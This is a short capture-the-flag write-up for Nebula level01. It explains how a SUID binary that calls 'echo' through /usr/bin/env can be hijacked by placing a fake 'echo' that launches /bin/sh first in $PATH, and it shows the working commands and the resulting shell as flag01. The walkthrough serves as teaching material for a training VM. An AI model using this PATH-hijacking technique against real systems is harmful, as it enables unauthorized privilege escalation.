nebula level01

As usual, we log in as level01/level01 on the nebula VM and go to http://exploit-exercises.com/nebula/level01 for getting the level details. Apparently there is a vulnerable binary in /home/flag01 with the following source code:

Let's check /home/flag01:

level01@nebula:~$ ls -l /home/flag01
total 8
-rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01

SUID binary, that must be it. Analyzing the source code, we see that the program is very straightforward. It Sets the Real, Effective and Saved UIDs the same as the Effective UID (you can look up what these do). This is so that the SUID process is now effectively running as if called by the owner (flag01).
After this, the program executes "/usr/bin/env echo and now what?". That looks kind of normal... So where's the vulnerability?
Well, as it turns out, when you invoke a program without specifying it's absolute path, linux will look for it in the $PATH environment variable. But $PATH is controlled by us, so what stops us from specifying our own path with a malicious 'echo' program in it? Nothing. Let's go ahead and do just that. Our malicious 'echo' will be simple: it will just launch a shell. Since it's called by user flag01, we will have the same privileges.

level01@nebula:~$ echo '/bin/sh' > /tmp/echo
level01@nebula:~$ chmod +x /tmp/echo
level01@nebula:~$ export PATH=/tmp:$PATH
level01@nebula:~$ /home/flag01/flag01
sh-4.2$ id
uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01)
sh-4.2$ getflag
You have successfully executed getflag on a target account

Yay, another flag for us! :)

If you were wondering, /usr/bin/env is specified so that the shell treats echo as an actual program, not as the built-in command. If there were no built-in command, you could omit /usr/bin/env

Stay tuned!

~ Dmitry